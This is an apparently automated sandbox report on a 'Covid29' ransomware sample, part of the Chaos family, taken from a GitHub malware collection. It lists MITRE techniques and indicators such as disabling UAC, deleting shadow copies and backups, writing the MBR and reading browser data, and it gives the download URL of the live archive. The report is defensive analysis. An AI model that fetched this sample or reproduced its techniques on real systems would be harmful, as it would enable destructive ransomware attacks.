chaos | hxxps://github[.]com/pankoza2-pl/malwaredatabase-old/blob/main/Covid29-Ransomware/Covid29%20Ransomware[.]zip

Resubmissions

26-08-2024 23:46

240826-3slegs1hle 10

08-08-2024 23:36

240808-3lsvzssdmk 10

Analysis

max time kernel
74s
max time network
62s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
08-08-2024 23:36

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General

Target

https://github.com/pankoza2-pl/malwaredatabase-old/blob/main/Covid29-Ransomware/Covid29%20Ransomware.zip

Score

10^/10

chaos bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 3 IoCs

resource	yara_rule
behavioral1/files/0x000100000002aaf4-252.dat	family_chaos
behavioral1/memory/3400-260-0x00000000000F0000-0x0000000000110000-memory.dmp	family_chaos
behavioral1/memory/1840-348-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3164	bcdedit.exe
2092	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4340	wbadmin.exe

Disables Task Manager via registry modification
evasion

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe

Executes dropped EXE 4 IoCs

pid	Process
2092	mbr.exe
3400	Cov29Cry.exe
1708	svchost.exe
5548	Cov29LockScreen.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1840-223-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/1840-348-0x0000000000400000-0x00000000005D5000-memory.dmp	upx

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-2842058299-443432012-2465494467-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	raw.githubusercontent.com
25	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2842058299-443432012-2465494467-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yrxlhaqnj.jpg"	svchost.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TrojanRansomCovid29.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cov29LockScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2444	PING.EXE
5016	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2700	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5484	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2842058299-443432012-2465494467-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2842058299-443432012-2465494467-1000_Classes\Local Settings	svchost.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
1612	reg.exe
3884	reg.exe
2524	reg.exe
3340	reg.exe
2032	reg.exe
3896	reg.exe
4200	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier	msedge.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5016	PING.EXE
2444	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1708	svchost.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
4988	msedge.exe
4988	msedge.exe
3540	msedge.exe
3540	msedge.exe
4336	identity_helper.exe
4336	identity_helper.exe
4892	msedge.exe
4892	msedge.exe
3876	msedge.exe
3876	msedge.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
3400	Cov29Cry.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe
1708	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1616	shutdown.exe
Token: SeRemoteShutdownPrivilege	1616	shutdown.exe
Token: SeDebugPrivilege	3400	Cov29Cry.exe
Token: SeDebugPrivilege	1708	svchost.exe
Token: SeBackupPrivilege	4900	vssvc.exe
Token: SeRestorePrivilege	4900	vssvc.exe
Token: SeAuditPrivilege	4900	vssvc.exe
Token: SeIncreaseQuotaPrivilege	692	WMIC.exe
Token: SeSecurityPrivilege	692	WMIC.exe
Token: SeTakeOwnershipPrivilege	692	WMIC.exe
Token: SeLoadDriverPrivilege	692	WMIC.exe
Token: SeSystemProfilePrivilege	692	WMIC.exe
Token: SeSystemtimePrivilege	692	WMIC.exe
Token: SeProfSingleProcessPrivilege	692	WMIC.exe
Token: SeIncBasePriorityPrivilege	692	WMIC.exe
Token: SeCreatePagefilePrivilege	692	WMIC.exe
Token: SeBackupPrivilege	692	WMIC.exe
Token: SeRestorePrivilege	692	WMIC.exe
Token: SeShutdownPrivilege	692	WMIC.exe
Token: SeDebugPrivilege	692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	692	WMIC.exe
Token: SeRemoteShutdownPrivilege	692	WMIC.exe
Token: SeUndockPrivilege	692	WMIC.exe
Token: SeManageVolumePrivilege	692	WMIC.exe
Token: 33	692	WMIC.exe
Token: 34	692	WMIC.exe
Token: 35	692	WMIC.exe
Token: 36	692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	692	WMIC.exe
Token: SeSecurityPrivilege	692	WMIC.exe
Token: SeTakeOwnershipPrivilege	692	WMIC.exe
Token: SeLoadDriverPrivilege	692	WMIC.exe
Token: SeSystemProfilePrivilege	692	WMIC.exe
Token: SeSystemtimePrivilege	692	WMIC.exe
Token: SeProfSingleProcessPrivilege	692	WMIC.exe
Token: SeIncBasePriorityPrivilege	692	WMIC.exe
Token: SeCreatePagefilePrivilege	692	WMIC.exe
Token: SeBackupPrivilege	692	WMIC.exe
Token: SeRestorePrivilege	692	WMIC.exe
Token: SeShutdownPrivilege	692	WMIC.exe
Token: SeDebugPrivilege	692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	692	WMIC.exe
Token: SeRemoteShutdownPrivilege	692	WMIC.exe
Token: SeUndockPrivilege	692	WMIC.exe
Token: SeManageVolumePrivilege	692	WMIC.exe
Token: 33	692	WMIC.exe
Token: 34	692	WMIC.exe
Token: 35	692	WMIC.exe
Token: 36	692	WMIC.exe
Token: SeBackupPrivilege	956	wbengine.exe
Token: SeRestorePrivilege	956	wbengine.exe
Token: SeSecurityPrivilege	956	wbengine.exe
Token: SeDebugPrivilege	5484	taskkill.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe
3540	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3164	PickerHost.exe
5548	Cov29LockScreen.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 4076	3540	msedge.exe	81
PID 3540 wrote to memory of 4076	3540	msedge.exe	81
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 3168	3540	msedge.exe	82
PID 3540 wrote to memory of 4988	3540	msedge.exe	83
PID 3540 wrote to memory of 4988	3540	msedge.exe	83
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84
PID 3540 wrote to memory of 2756	3540	msedge.exe	84

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/pankoza2-pl/malwaredatabase-old/blob/main/Covid29-Ransomware/Covid29%20Ransomware.zip
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0x48,0x10c,0x7ffa16b83cb8,0x7ffa16b83cc8,0x7ffa16b83cd8
  2⤵
  PID:4076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1852 /prefetch:2
  2⤵
  PID:3168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2780 /prefetch:8
  2⤵
  PID:2756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:2548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:1512
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5828 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:1
  2⤵
  PID:1720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:4892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5928 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3876
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5984 /prefetch:1
  2⤵
  PID:1376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:1
  2⤵
  PID:4492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1
  2⤵
  PID:2856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1896,4277477289904332717,1330193169580702957,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:2256

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4444

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4484

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4840

C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe
"C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:1840
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E09C.tmp\TrojanRansomCovid29.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:3900
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\E09C.tmp\fakeerror.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3672
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
